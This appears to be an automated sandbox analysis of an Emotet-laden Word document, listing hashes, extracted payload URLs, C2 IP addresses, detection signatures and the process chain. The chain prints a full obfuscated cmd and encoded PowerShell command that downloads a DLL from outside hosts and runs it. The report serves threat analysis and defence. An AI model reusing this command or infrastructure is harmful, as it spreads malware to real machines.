Analysis
-
max time kernel
140s -
max time network
149s -
platform
windows7_x64 -
resource
win7v20201028 -
submitted
27-01-2021 04:55
Behavioral task
behavioral1
Sample
Datos_2021_D_81958.doc
Resource
win7v20201028
Behavioral task
behavioral2
Sample
Datos_2021_D_81958.doc
Resource
win10v20201028
General
-
Target
Datos_2021_D_81958.doc
-
Size
165KB
-
MD5
81cdd55af265255b18a9b2700f475d76
-
SHA1
c60563e15a43058a594c36c5ec54dd8ef74c6b6b
-
SHA256
985fae09feedd61a2e56ed1ddbae8de0d34a19c65ab3eb12b057303258aff99c
-
SHA512
03230f229410699bf36ca57948e722438c891bba187cfeaa96454f7259ec6d9e11d0d8a5597facbb777a04edc4c89659ea11e9b9f6997091077060bee488c431
Malware Config
Extracted
http://inhaustyle.com/wp-admin/7OtP5/
https://elsadinc.com/wp-content/B/
https://jolifm.com/new/5hkc3/
https://technologydistilled.com/a-nurse-ss8d9/z/
http://o7therapy.com/egyptian-comedy-hiiro/As0/
http://signinsolution.com/wp-content/Vr0/
http://cashstreamfinancial.com/wp-admin/23/
Extracted
emotet
Epoch2
69.38.130.14:80
195.159.28.230:8080
162.241.204.233:8080
115.21.224.117:80
78.189.148.42:80
181.165.68.127:80
78.188.225.105:80
161.0.153.60:80
89.106.251.163:80
172.125.40.123:80
5.39.91.110:7080
110.145.11.73:80
190.251.200.206:80
144.217.7.207:7080
75.109.111.18:80
75.177.207.146:80
139.59.60.244:8080
70.183.211.3:80
95.213.236.64:8080
61.19.246.238:443
174.118.202.24:443
71.72.196.159:80
138.68.87.218:443
24.164.79.147:8080
49.205.182.134:80
24.231.88.85:80
121.124.124.40:7080
95.9.5.93:80
118.83.154.64:443
78.24.219.147:8080
104.131.11.150:443
85.105.205.77:8080
108.53.88.101:443
187.161.206.24:80
203.153.216.189:7080
37.187.72.193:8080
185.94.252.104:443
157.245.99.39:8080
50.91.114.38:80
87.106.139.101:8080
74.128.121.17:80
62.75.141.82:80
37.139.21.175:8080
190.103.228.24:80
134.209.144.106:443
78.182.254.231:80
186.74.215.34:80
180.222.161.85:80
69.49.88.46:80
202.134.4.211:8080
75.113.193.72:80
139.162.60.124:8080
79.137.83.50:443
123.176.25.234:80
172.105.13.66:443
93.146.48.84:80
109.116.245.80:80
41.185.28.84:8080
98.109.133.80:80
194.190.67.75:80
110.145.101.66:443
136.244.110.184:8080
24.179.13.119:80
89.216.122.92:80
139.99.158.11:443
172.86.188.251:8080
74.40.205.197:443
62.171.142.179:8080
167.114.153.111:8080
119.59.116.21:8080
74.58.215.226:80
188.165.214.98:8080
172.104.97.173:8080
197.211.245.21:80
66.57.108.14:443
188.219.31.12:80
168.235.67.138:7080
24.69.65.8:8080
173.70.61.180:80
110.142.236.207:80
51.89.36.180:443
46.105.131.79:8080
194.4.58.192:7080
220.245.198.194:80
109.74.5.95:8080
24.178.90.49:80
181.171.209.241:443
59.21.235.119:80
94.23.237.171:443
12.175.220.98:80
217.20.166.178:7080
50.116.111.59:8080
176.111.60.55:8080
200.116.145.225:443
120.150.60.189:80
185.201.9.197:8080
202.134.4.216:8080
120.150.218.241:443
2.58.16.89:8080
70.92.118.112:80
74.208.45.104:8080
79.130.130.240:8080
190.240.194.77:443
85.105.111.166:80
115.94.207.99:443
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
cmd.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1188 1736 cmd.exe -
Blocklisted process makes network request 10 IoCs
Processes:
powershell.exerundll32.exeflow pid process 6 1216 powershell.exe 8 1216 powershell.exe 10 1216 powershell.exe 12 1216 powershell.exe 14 1216 powershell.exe 16 1980 rundll32.exe 17 1980 rundll32.exe 20 1980 rundll32.exe 21 1980 rundll32.exe 24 1980 rundll32.exe -
Loads dropped DLL 8 IoCs
Processes:
rundll32.exerundll32.exepid process 1976 rundll32.exe 1976 rundll32.exe 1976 rundll32.exe 1976 rundll32.exe 1008 rundll32.exe 1008 rundll32.exe 1008 rundll32.exe 1008 rundll32.exe -
Drops file in System32 directory 2 IoCs
Processes:
powershell.exerundll32.exedescription ioc process File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\SysWOW64\Pwqzcolihrcwg\bjpspauyrpno.ftb rundll32.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Drops file in Windows directory 1 IoCs
Processes:
WINWORD.EXEdescription ioc process File opened for modification C:\Windows\Debug\WIA\wiatrace.log WINWORD.EXE -
Office loads VBA resources, possible macro or embedded object present
-
Processes:
WINWORD.EXEdescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel WINWORD.EXE Key created \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\Toolbar WINWORD.EXE Set value (str) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" WINWORD.EXE Set value (int) \REGISTRY\USER\S-1-5-21-3825035466-2522850611-591511364-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" WINWORD.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
Processes:
WINWORD.EXEpid process 1684 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 6 IoCs
Processes:
powershell.exerundll32.exepid process 1216 powershell.exe 1216 powershell.exe 1980 rundll32.exe 1980 rundll32.exe 1980 rundll32.exe 1980 rundll32.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1216 powershell.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
Processes:
WINWORD.EXEpid process 1684 WINWORD.EXE 1684 WINWORD.EXE -
Suspicious use of WriteProcessMemory 37 IoCs
Processes:
cmd.exepowershell.exerundll32.exerundll32.exerundll32.exerundll32.exedescription pid process target process PID 1188 wrote to memory of 436 1188 cmd.exe msg.exe PID 1188 wrote to memory of 436 1188 cmd.exe msg.exe PID 1188 wrote to memory of 436 1188 cmd.exe msg.exe PID 1188 wrote to memory of 1216 1188 cmd.exe powershell.exe PID 1188 wrote to memory of 1216 1188 cmd.exe powershell.exe PID 1188 wrote to memory of 1216 1188 cmd.exe powershell.exe PID 1216 wrote to memory of 1344 1216 powershell.exe rundll32.exe PID 1216 wrote to memory of 1344 1216 powershell.exe rundll32.exe PID 1216 wrote to memory of 1344 1216 powershell.exe rundll32.exe PID 1344 wrote to memory of 1976 1344 rundll32.exe rundll32.exe PID 1344 wrote to memory of 1976 1344 rundll32.exe rundll32.exe PID 1344 wrote to memory of 1976 1344 rundll32.exe rundll32.exe PID 1344 wrote to memory of 1976 1344 rundll32.exe rundll32.exe PID 1344 wrote to memory of 1976 1344 rundll32.exe rundll32.exe PID 1344 wrote to memory of 1976 1344 rundll32.exe rundll32.exe PID 1344 wrote to memory of 1976 1344 rundll32.exe rundll32.exe PID 1976 wrote to memory of 1008 1976 rundll32.exe rundll32.exe PID 1976 wrote to memory of 1008 1976 rundll32.exe rundll32.exe PID 1976 wrote to memory of 1008 1976 rundll32.exe rundll32.exe PID 1976 wrote to memory of 1008 1976 rundll32.exe rundll32.exe PID 1976 wrote to memory of 1008 1976 rundll32.exe rundll32.exe PID 1976 wrote to memory of 1008 1976 rundll32.exe rundll32.exe PID 1976 wrote to memory of 1008 1976 rundll32.exe rundll32.exe PID 1008 wrote to memory of 1912 1008 rundll32.exe rundll32.exe PID 1008 wrote to memory of 1912 1008 rundll32.exe rundll32.exe PID 1008 wrote to memory of 1912 1008 rundll32.exe rundll32.exe PID 1008 wrote to memory of 1912 1008 rundll32.exe rundll32.exe PID 1008 wrote to memory of 1912 1008 rundll32.exe rundll32.exe PID 1008 wrote to memory of 1912 1008 rundll32.exe rundll32.exe PID 1008 wrote to memory of 1912 1008 rundll32.exe rundll32.exe PID 1912 wrote to memory of 1980 1912 rundll32.exe rundll32.exe PID 1912 wrote to memory of 1980 1912 rundll32.exe rundll32.exe PID 1912 wrote to memory of 1980 1912 rundll32.exe rundll32.exe PID 1912 wrote to memory of 1980 1912 rundll32.exe rundll32.exe PID 1912 wrote to memory of 1980 1912 rundll32.exe rundll32.exe PID 1912 wrote to memory of 1980 1912 rundll32.exe rundll32.exe PID 1912 wrote to memory of 1980 1912 rundll32.exe rundll32.exe
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Datos_2021_D_81958.doc"1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\system32\cmd.execmd cmd /c m^s^g %username% /v Wo^rd exp^erien^ced an er^ror tryi^ng to op^en th^e fi^le. & p^owe^rs^he^ll^ -w hi^dd^en -^e^nc IABzAFYAIAAgAGUAcgB5AEQANABHACAAIAAoACAAIABbAFQAWQBQAGUAXQAoACIAewA0AH0AewA1AH0AewAzAH0AewAwAH0AewAxAH0AewAyAH0AIgAgAC0ARgAgACcAZABpAFIARQBDAHQATwAnACwAJwByACcALAAnAFkAJwAsACcALgAnACwAJwBzAHkAcwBUAEUAbQAuAEkAJwAsACcAbwAnACkAIAApADsAIAAgACAAUwBFAFQAIAAoACIAdwAiACsAIgAzAEMAdAA1ACIAKQAgACgAWwBUAHkAUABFAF0AKAAiAHsAMAB9AHsANQB9AHsAMgB9AHsANAB9AHsAMwB9AHsAMQB9ACIAIAAtAGYAIAAnAHMAJwAsACcAcABvAEkAbgB0AG0AQQBuAGEARwBlAHIAJwAsACcARQB0ACcALAAnAFYASQBjAEUAJwAsACcALgBTAEUAcgAnACwAJwB5AHMAVABlAG0ALgBuACcAKQAgACAAKQAgADsAJABLAGoAdQAwAHEAeQB6AD0AJABGADAAXwBNACAAKwAgAFsAYwBoAGEAcgBdACgAMwAzACkAIAArACAAJABQADAAOQBQADsAJABOADMAMgBYAD0AKAAnAFQAMgAnACsAJwA2AFMAJwApADsAIAAoACAAIABWAEEAcgBJAGEAYgBsAEUAIABFAFIAWQBkADQARwAgAC0AVgBhAGwAdQBlAG8ATgBsAHkAKQA6ADoAIgBjAFIAYABlAGEAdABFAGQAaQBgAFIAYABlAEMAVABPAGAAUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAewAwAH0AQwA1AGsAXwBvAHkAeAB7ADAAfQBQACcAKwAnAG8AJwArACcAMAAnACsAJwBwADUAOQBwAHsAMAAnACsAJwB9ACcAKQAgACAALQBGAFsAQwBoAGEAcgBdADkAMgApACkAOwAkAFMANQBfAEQAPQAoACcARwAnACsAKAAnADUAJwArACcAOABNACcAKQApADsAIAAoAEMAaABJAEwARABpAFQARQBNACAAKAAnAHYAQQBSAEkAYQBCAEwARQA6AFcAJwArACcAMwAnACsAJwBjACcAKwAnAFQANQAnACkAKQAuAFYAYQBsAFUARQA6ADoAIgBTAGAAZQBgAGMAVQByAEkAYABUAHkAUABSAE8AVABvAGAAYwBPAGwAIgAgAD0AIAAoACgAJwBUACcAKwAnAGwAcwAnACkAKwAnADEAMgAnACkAOwAkAEkANgAwAFMAPQAoACcATwAnACsAKAAnADkAJwArACcAMwBVACcAKQApADsAJABLADYAdAA1AG8AXwBwACAAPQAgACgAJwBZACcAKwAoACcANwA1ACcAKwAnAFUAJwApACkAOwAkAEwANgA4AFAAPQAoACcARwA1ACcAKwAnADMAVgAnACkAOwAkAEUAcwAzADgAcQAxADcAPQAkAEgATwBNAEUAKwAoACgAJwB7ACcAKwAnADAAfQBDACcAKwAoACcANQAnACsAJwBrAF8AbwAnACkAKwAnAHkAJwArACcAeAB7ADAAJwArACcAfQBQAG8AMABwADUAOQAnACsAJwBwAHsAMAB9ACcAKQAgAC0ARgAgACAAWwBjAEgAYQByAF0AOQAyACkAKwAkAEsANgB0ADUAbwBfAHAAKwAnAC4AZAAnACAAKwAgACcAbABsACcAOwAkAFQAMAA5AFoAPQAoACgAJwBFADMAJwArACcAMwAnACkAKwAnAEMAJwApADsAJABVAGUANwBhAGQAcQA4AD0AJwBoACcAIAArACAAJwB0AHQAJwAgACsAIAAnAHAAJwA7ACQASgByAHgAbgBqAG4AMgA9ACgAKAAnAHgAJwArACcAIABbACAAcwBoACcAKQArACgAJwAgACcAKwAnAGIAOgAnACsAJwAvAC8AaQBuACcAKwAnAGgAYQB1ACcAKQArACgAJwBzAHQAeQAnACsAJwBsAGUALgAnACkAKwAoACcAYwBvAG0ALwB3AHAALQAnACsAJwBhACcAKwAnAGQAbQAnACkAKwAnAGkAbgAnACsAJwAvADcAJwArACcATwB0ACcAKwAnAFAAJwArACgAJwA1ACcAKwAnAC8AIQB4ACcAKQArACgAJwAgACcAKwAnAFsAIABzACcAKQArACgAJwBoACcAKwAnACAAJwArACcAYgBzADoALwAvAGUAbABzACcAKQArACgAJwBhACcAKwAnAGQAaQBuACcAKwAnAGMALgAnACsAJwBjAG8AbQAvAHcAcAAtAGMAbwAnACkAKwAoACcAbgB0AGUAbgB0AC8AJwArACcAQgAvACEAJwArACcAeAAnACkAKwAoACcAIABbACcAKwAnACAAcwBoACAAYgBzACcAKQArACgAJwA6AC8AJwArACcALwBqACcAKQArACgAJwBvAGwAJwArACcAaQBmACcAKQArACgAJwBtACcAKwAnAC4AYwBvACcAKQArACcAbQAnACsAJwAvAG4AJwArACgAJwBlACcAKwAnAHcALwA1ACcAKQArACcAaABrACcAKwAoACcAYwAzAC8AJwArACcAIQB4ACAAWwAnACsAJwAgAHMAaAAnACkAKwAnACAAYgAnACsAKAAnAHMAOgAvACcAKwAnAC8AJwApACsAKAAnAHQAJwArACcAZQBjAGgAbgBvACcAKwAnAGwAbwAnACkAKwAoACcAZwB5ACcAKwAnAGQAaQBzAHQAaQBsAGwAZQBkAC4AJwArACcAYwBvACcAKQArACgAJwBtAC8AYQAnACsAJwAtAG4AdQByACcAKwAnAHMAZQAnACsAJwAtAHMAJwApACsAJwBzADgAJwArACgAJwBkACcAKwAnADkALwB6ACcAKwAnAC8AIQAnACkAKwAnAHgAJwArACcAIAAnACsAKAAnAFsAIABzAGgAJwArACcAIABiACcAKQArACcAOgAnACsAKAAnAC8ALwAnACsAJwBvACcAKQArACgAJwA3AHQAaABlAHIAYQBwACcAKwAnAHkAJwArACcALgBjAG8AbQAvACcAKQArACgAJwBlACcAKwAnAGcAJwArACcAeQBwAHQAaQBhAG4ALQBjAG8AbQAnACsAJwBlAGQAeQAtAGgAaQAnACsAJwBpACcAKQArACgAJwByACcAKwAnAG8ALwBBACcAKQArACgAJwBzADAALwAhACcAKwAnAHgAIABbACAAJwArACcAcwBoACcAKQArACgAJwAgAGIAJwArACcAOgAnACkAKwAoACcALwAnACsAJwAvAHMAaQBnAG4AJwArACcAaQAnACkAKwAnAG4AJwArACgAJwBzAG8AJwArACcAbAB1AHQAJwApACsAJwBpAG8AJwArACgAJwBuAC4AYwBvAG0ALwAnACsAJwB3AHAALQAnACsAJwBjAG8AbgB0ACcAKwAnAGUAbgB0ACcAKwAnAC8AVgByADAALwAnACkAKwAoACcAIQB4ACcAKwAnACAAWwAgACcAKQArACgAJwBzACcAKwAnAGgAIAAnACkAKwAoACcAYgAnACsAJwA6AC8AJwApACsAKAAnAC8AJwArACcAYwBhAHMAJwApACsAKAAnAGgAJwArACcAcwB0ACcAKQArACcAcgBlACcAKwAnAGEAbQAnACsAJwBmACcAKwAoACcAaQBuACcAKwAnAGEAJwArACcAbgBjAGkAYQBsACcAKwAnAC4AYwBvACcAKwAnAG0ALwB3AHAAJwApACsAKAAnAC0AYQBkACcAKwAnAG0AaQBuAC8AMgAnACsAJwAzAC8AJwApACkALgAiAHIAZQBQAGAATABhAEMARQAiACgAKAAoACcAeAAgAFsAJwArACcAIABzAGgAIAAnACkAKwAnAGIAJwApACwAKABbAGEAcgByAGEAeQBdACgAJwBuAGoAJwAsACcAdAByACcAKQAsACcAeQBqACcALAAnAHMAYwAnACwAJABVAGUANwBhAGQAcQA4ACwAJwB3AGQAJwApAFsAMwBdACkALgAiAHMAYABQAEwASQBUACIAKAAkAEEANAA2AEQAIAArACAAJABLAGoAdQAwAHEAeQB6ACAAKwAgACQAQQBfADgARgApADsAJABFADEAMwBZAD0AKAAoACcAVAA4ACcAKwAnADEAJwApACsAJwBIACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAVgB3AGsAMQB3AGYAdwAgAGkAbgAgACQASgByAHgAbgBqAG4AMgApAHsAdAByAHkAewAoACYAKAAnAE4AZQB3AC0ATwBiAGoAZQAnACsAJwBjACcAKwAnAHQAJwApACAAcwB5AFMAVABFAG0ALgBOAEUAdAAuAFcAZQBCAEMAbABpAGUAbgBUACkALgAiAEQAbwB3AG4AYABsAG8AYABBAGQARgBgAEkAbABlACIAKAAkAFYAdwBrADEAdwBmAHcALAAgACQARQBzADMAOABxADEANwApADsAJABaADMAMQBQAD0AKAAoACcAUQBfACcAKwAnADMAJwApACsAJwBTACcAKQA7AEkAZgAgACgAKAAmACgAJwBHACcAKwAnAGUAdAAtAEkAdABlACcAKwAnAG0AJwApACAAJABFAHMAMwA4AHEAMQA3ACkALgAiAEwAYABlAGAATgBnAHQASAAiACAALQBnAGUAIAAzADYAMwAwADQAKQAgAHsAJgAoACcAcgB1AG4AJwArACcAZAAnACsAJwBsAGwAMwAyACcAKQAgACQARQBzADMAOABxADEANwAsACgAKAAnAEEAJwArACcAbgB5AFMAJwApACsAKAAnAHQAcgBpAG4AJwArACcAZwAnACkAKQAuACIAVABgAG8AUwBUAHIAaQBOAEcAIgAoACkAOwAkAEkANAA2AEQAPQAoACcAWgAnACsAKAAnADYANQAnACsAJwBGACcAKQApADsAYgByAGUAYQBrADsAJABTADEAMwBaAD0AKAAnAFIAJwArACgAJwAwACcAKwAnAF8ASAAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARABfADAASQA9ACgAJwBJADAAJwArACcAMgBPACcAKQA=1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\msg.exemsg Admin /v Word experienced an error trying to open the file.2⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -w hidden -enc IABzAFYAIAAgAGUAcgB5AEQANABHACAAIAAoACAAIABbAFQAWQBQAGUAXQAoACIAewA0AH0AewA1AH0AewAzAH0AewAwAH0AewAxAH0AewAyAH0AIgAgAC0ARgAgACcAZABpAFIARQBDAHQATwAnACwAJwByACcALAAnAFkAJwAsACcALgAnACwAJwBzAHkAcwBUAEUAbQAuAEkAJwAsACcAbwAnACkAIAApADsAIAAgACAAUwBFAFQAIAAoACIAdwAiACsAIgAzAEMAdAA1ACIAKQAgACgAWwBUAHkAUABFAF0AKAAiAHsAMAB9AHsANQB9AHsAMgB9AHsANAB9AHsAMwB9AHsAMQB9ACIAIAAtAGYAIAAnAHMAJwAsACcAcABvAEkAbgB0AG0AQQBuAGEARwBlAHIAJwAsACcARQB0ACcALAAnAFYASQBjAEUAJwAsACcALgBTAEUAcgAnACwAJwB5AHMAVABlAG0ALgBuACcAKQAgACAAKQAgADsAJABLAGoAdQAwAHEAeQB6AD0AJABGADAAXwBNACAAKwAgAFsAYwBoAGEAcgBdACgAMwAzACkAIAArACAAJABQADAAOQBQADsAJABOADMAMgBYAD0AKAAnAFQAMgAnACsAJwA2AFMAJwApADsAIAAoACAAIABWAEEAcgBJAGEAYgBsAEUAIABFAFIAWQBkADQARwAgAC0AVgBhAGwAdQBlAG8ATgBsAHkAKQA6ADoAIgBjAFIAYABlAGEAdABFAGQAaQBgAFIAYABlAEMAVABPAGAAUgBZACIAKAAkAEgATwBNAEUAIAArACAAKAAoACcAewAwAH0AQwA1AGsAXwBvAHkAeAB7ADAAfQBQACcAKwAnAG8AJwArACcAMAAnACsAJwBwADUAOQBwAHsAMAAnACsAJwB9ACcAKQAgACAALQBGAFsAQwBoAGEAcgBdADkAMgApACkAOwAkAFMANQBfAEQAPQAoACcARwAnACsAKAAnADUAJwArACcAOABNACcAKQApADsAIAAoAEMAaABJAEwARABpAFQARQBNACAAKAAnAHYAQQBSAEkAYQBCAEwARQA6AFcAJwArACcAMwAnACsAJwBjACcAKwAnAFQANQAnACkAKQAuAFYAYQBsAFUARQA6ADoAIgBTAGAAZQBgAGMAVQByAEkAYABUAHkAUABSAE8AVABvAGAAYwBPAGwAIgAgAD0AIAAoACgAJwBUACcAKwAnAGwAcwAnACkAKwAnADEAMgAnACkAOwAkAEkANgAwAFMAPQAoACcATwAnACsAKAAnADkAJwArACcAMwBVACcAKQApADsAJABLADYAdAA1AG8AXwBwACAAPQAgACgAJwBZACcAKwAoACcANwA1ACcAKwAnAFUAJwApACkAOwAkAEwANgA4AFAAPQAoACcARwA1ACcAKwAnADMAVgAnACkAOwAkAEUAcwAzADgAcQAxADcAPQAkAEgATwBNAEUAKwAoACgAJwB7ACcAKwAnADAAfQBDACcAKwAoACcANQAnACsAJwBrAF8AbwAnACkAKwAnAHkAJwArACcAeAB7ADAAJwArACcAfQBQAG8AMABwADUAOQAnACsAJwBwAHsAMAB9ACcAKQAgAC0ARgAgACAAWwBjAEgAYQByAF0AOQAyACkAKwAkAEsANgB0ADUAbwBfAHAAKwAnAC4AZAAnACAAKwAgACcAbABsACcAOwAkAFQAMAA5AFoAPQAoACgAJwBFADMAJwArACcAMwAnACkAKwAnAEMAJwApADsAJABVAGUANwBhAGQAcQA4AD0AJwBoACcAIAArACAAJwB0AHQAJwAgACsAIAAnAHAAJwA7ACQASgByAHgAbgBqAG4AMgA9ACgAKAAnAHgAJwArACcAIABbACAAcwBoACcAKQArACgAJwAgACcAKwAnAGIAOgAnACsAJwAvAC8AaQBuACcAKwAnAGgAYQB1ACcAKQArACgAJwBzAHQAeQAnACsAJwBsAGUALgAnACkAKwAoACcAYwBvAG0ALwB3AHAALQAnACsAJwBhACcAKwAnAGQAbQAnACkAKwAnAGkAbgAnACsAJwAvADcAJwArACcATwB0ACcAKwAnAFAAJwArACgAJwA1ACcAKwAnAC8AIQB4ACcAKQArACgAJwAgACcAKwAnAFsAIABzACcAKQArACgAJwBoACcAKwAnACAAJwArACcAYgBzADoALwAvAGUAbABzACcAKQArACgAJwBhACcAKwAnAGQAaQBuACcAKwAnAGMALgAnACsAJwBjAG8AbQAvAHcAcAAtAGMAbwAnACkAKwAoACcAbgB0AGUAbgB0AC8AJwArACcAQgAvACEAJwArACcAeAAnACkAKwAoACcAIABbACcAKwAnACAAcwBoACAAYgBzACcAKQArACgAJwA6AC8AJwArACcALwBqACcAKQArACgAJwBvAGwAJwArACcAaQBmACcAKQArACgAJwBtACcAKwAnAC4AYwBvACcAKQArACcAbQAnACsAJwAvAG4AJwArACgAJwBlACcAKwAnAHcALwA1ACcAKQArACcAaABrACcAKwAoACcAYwAzAC8AJwArACcAIQB4ACAAWwAnACsAJwAgAHMAaAAnACkAKwAnACAAYgAnACsAKAAnAHMAOgAvACcAKwAnAC8AJwApACsAKAAnAHQAJwArACcAZQBjAGgAbgBvACcAKwAnAGwAbwAnACkAKwAoACcAZwB5ACcAKwAnAGQAaQBzAHQAaQBsAGwAZQBkAC4AJwArACcAYwBvACcAKQArACgAJwBtAC8AYQAnACsAJwAtAG4AdQByACcAKwAnAHMAZQAnACsAJwAtAHMAJwApACsAJwBzADgAJwArACgAJwBkACcAKwAnADkALwB6ACcAKwAnAC8AIQAnACkAKwAnAHgAJwArACcAIAAnACsAKAAnAFsAIABzAGgAJwArACcAIABiACcAKQArACcAOgAnACsAKAAnAC8ALwAnACsAJwBvACcAKQArACgAJwA3AHQAaABlAHIAYQBwACcAKwAnAHkAJwArACcALgBjAG8AbQAvACcAKQArACgAJwBlACcAKwAnAGcAJwArACcAeQBwAHQAaQBhAG4ALQBjAG8AbQAnACsAJwBlAGQAeQAtAGgAaQAnACsAJwBpACcAKQArACgAJwByACcAKwAnAG8ALwBBACcAKQArACgAJwBzADAALwAhACcAKwAnAHgAIABbACAAJwArACcAcwBoACcAKQArACgAJwAgAGIAJwArACcAOgAnACkAKwAoACcALwAnACsAJwAvAHMAaQBnAG4AJwArACcAaQAnACkAKwAnAG4AJwArACgAJwBzAG8AJwArACcAbAB1AHQAJwApACsAJwBpAG8AJwArACgAJwBuAC4AYwBvAG0ALwAnACsAJwB3AHAALQAnACsAJwBjAG8AbgB0ACcAKwAnAGUAbgB0ACcAKwAnAC8AVgByADAALwAnACkAKwAoACcAIQB4ACcAKwAnACAAWwAgACcAKQArACgAJwBzACcAKwAnAGgAIAAnACkAKwAoACcAYgAnACsAJwA6AC8AJwApACsAKAAnAC8AJwArACcAYwBhAHMAJwApACsAKAAnAGgAJwArACcAcwB0ACcAKQArACcAcgBlACcAKwAnAGEAbQAnACsAJwBmACcAKwAoACcAaQBuACcAKwAnAGEAJwArACcAbgBjAGkAYQBsACcAKwAnAC4AYwBvACcAKwAnAG0ALwB3AHAAJwApACsAKAAnAC0AYQBkACcAKwAnAG0AaQBuAC8AMgAnACsAJwAzAC8AJwApACkALgAiAHIAZQBQAGAATABhAEMARQAiACgAKAAoACcAeAAgAFsAJwArACcAIABzAGgAIAAnACkAKwAnAGIAJwApACwAKABbAGEAcgByAGEAeQBdACgAJwBuAGoAJwAsACcAdAByACcAKQAsACcAeQBqACcALAAnAHMAYwAnACwAJABVAGUANwBhAGQAcQA4ACwAJwB3AGQAJwApAFsAMwBdACkALgAiAHMAYABQAEwASQBUACIAKAAkAEEANAA2AEQAIAArACAAJABLAGoAdQAwAHEAeQB6ACAAKwAgACQAQQBfADgARgApADsAJABFADEAMwBZAD0AKAAoACcAVAA4ACcAKwAnADEAJwApACsAJwBIACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAVgB3AGsAMQB3AGYAdwAgAGkAbgAgACQASgByAHgAbgBqAG4AMgApAHsAdAByAHkAewAoACYAKAAnAE4AZQB3AC0ATwBiAGoAZQAnACsAJwBjACcAKwAnAHQAJwApACAAcwB5AFMAVABFAG0ALgBOAEUAdAAuAFcAZQBCAEMAbABpAGUAbgBUACkALgAiAEQAbwB3AG4AYABsAG8AYABBAGQARgBgAEkAbABlACIAKAAkAFYAdwBrADEAdwBmAHcALAAgACQARQBzADMAOABxADEANwApADsAJABaADMAMQBQAD0AKAAoACcAUQBfACcAKwAnADMAJwApACsAJwBTACcAKQA7AEkAZgAgACgAKAAmACgAJwBHACcAKwAnAGUAdAAtAEkAdABlACcAKwAnAG0AJwApACAAJABFAHMAMwA4AHEAMQA3ACkALgAiAEwAYABlAGAATgBnAHQASAAiACAALQBnAGUAIAAzADYAMwAwADQAKQAgAHsAJgAoACcAcgB1AG4AJwArACcAZAAnACsAJwBsAGwAMwAyACcAKQAgACQARQBzADMAOABxADEANwAsACgAKAAnAEEAJwArACcAbgB5AFMAJwApACsAKAAnAHQAcgBpAG4AJwArACcAZwAnACkAKQAuACIAVABgAG8AUwBUAHIAaQBOAEcAIgAoACkAOwAkAEkANAA2AEQAPQAoACcAWgAnACsAKAAnADYANQAnACsAJwBGACcAKQApADsAYgByAGUAYQBrADsAJABTADEAMwBaAD0AKAAnAFIAJwArACgAJwAwACcAKwAnAF8ASAAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQARABfADAASQA9ACgAJwBJADAAJwArACcAMgBPACcAKQA=2⤵
- Blocklisted process makes network request
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Users\Admin\C5k_oyx\Po0p59p\Y75U.dll AnyString3⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\system32\rundll32.exe" C:\Users\Admin\C5k_oyx\Po0p59p\Y75U.dll AnyString4⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Users\Admin\C5k_oyx\Po0p59p\Y75U.dll",#15⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
-
